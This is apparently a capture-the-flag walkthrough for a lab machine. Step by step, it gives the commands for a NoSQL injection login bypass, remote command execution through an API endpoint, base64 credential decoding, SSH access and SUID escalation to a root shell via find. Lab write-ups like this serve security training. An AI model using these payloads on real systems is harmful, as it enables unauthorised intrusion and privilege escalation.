VulnVerse Lab Resolve: Step-by-Step Walkthrough Guide

vuln-verse-lab-resolve-guide

Welcome to the VulnVerse Lab, a medium-level penetration testing challenge created to assess your abilities in privilege escalation, container escape, and web application exploitation.

With several services operating, including a Docker container, a vulnerable API, and several decoy services, this lab environment replicates a realistic target. Finding the attack surface, taking advantage of the weaknesses, and capturing three more difficult flags are your goals.

Here, you will find the walkthrough to solve this VulnVerse Lab machine right from the beginning.

VulnVerse Lab Resolve: Step-by-Step Walkthrough Guide

Step 1: Scan the target

nmap -sV -p- 192.168.0.7

image shows VulnVerse Lab Resolve

# Output shows:

# Port 80 – Nginx web server

# Port 3000 – Node.js API

# Port 2222 – SSH service

# Port 8080 – HTTP Proxy

 

Step 2: Bypass login with NoSQL injection

curl -X POST http://192.168.0.7:3000/api/login \

-H “Content-Type: application/json” \

-d ‘{“username”:{“$ne”:null},”password”:{“$ne”:null}}’

# Response:

{“token”:”eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzMxMjM0NTY3fQ.signature”}

 

image shows vuln-verse-lab-resolve

 

Step 3: Execute commands using the token

curl -X POST http://192.168.0.7:3000/api/exec \

-H “Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzMxMjM0NTY3fQ.signature” \

-H “Content-Type: application/json” \

-d ‘{“cmd”:”id”}’

image shows vuln-verse-lab-walk-through

 

Step 4: Read FLAG1

curl -X POST http://192.168.0.7:3000/api/exec \

-H “Authorization: Bearer [TOKEN]” \

-H “Content-Type: application/json” \

-d ‘{“cmd”:”cat /home/vulnapi/flag.txt”}’

 

image shows vuln-verse-walkthrough

 

# FLAG1 captured: FLAG1{API_Compromise_Success_NoSQL_Injection}

 

Step 5: Read notes.txt for credentials

curl -X POST http://192.168.0.7:3000/api/exec \

-H “Authorization: Bearer [TOKEN]” \

-H “Content-Type: application/json” \

-d ‘{“cmd”:”cat /home/vulnapi/notes.txt”}’

# Found encoded credentials:

# [1] YWRtaW46YWRtaW4xMjM=

# [2] cm9vdDpyb290MTIz

# [10] dnVsbnVzZXI6dnVsbnBhc3M=

 

image shows read-notes.txt-for-credentials

 

Step 6: Decode credentials

echo “dnVsbnVzZXI6dnVsbnBhc3M=” | base64 -d

# Output: vulnuser:vulnpass

 

image shows read-notes.txt

Step 7: SSH into container

ssh vulnuser@192.168.0.7 -p 2222

# Password: vulnpass

image shows walkthrough

 

Step 8: Read FLAG2

cat /home/vulnuser/flag.txt

image shows VulnVerse

# FLAG2 captured: FLAG2{SSH_Container_Access_Success}

 

Step 9: Check for SUID binaries

find / -perm -4000 -type f 2>/dev/null

ls -la /usr/bin/find

/usr/bin/find . -exec /bin/sh -p \; -quit

 

image shows VulnVerse-walkthrough

 

Step 10: Read FLAG3

cat /root/flag.txt

image shows VulnVerse Lab Resolve

 

# FLAG3 captured: FLAG3{Container_Root_Access_Success}

Read More:

Jurassic Park Machine Solving Walkthrough

About Author

en_USEnglish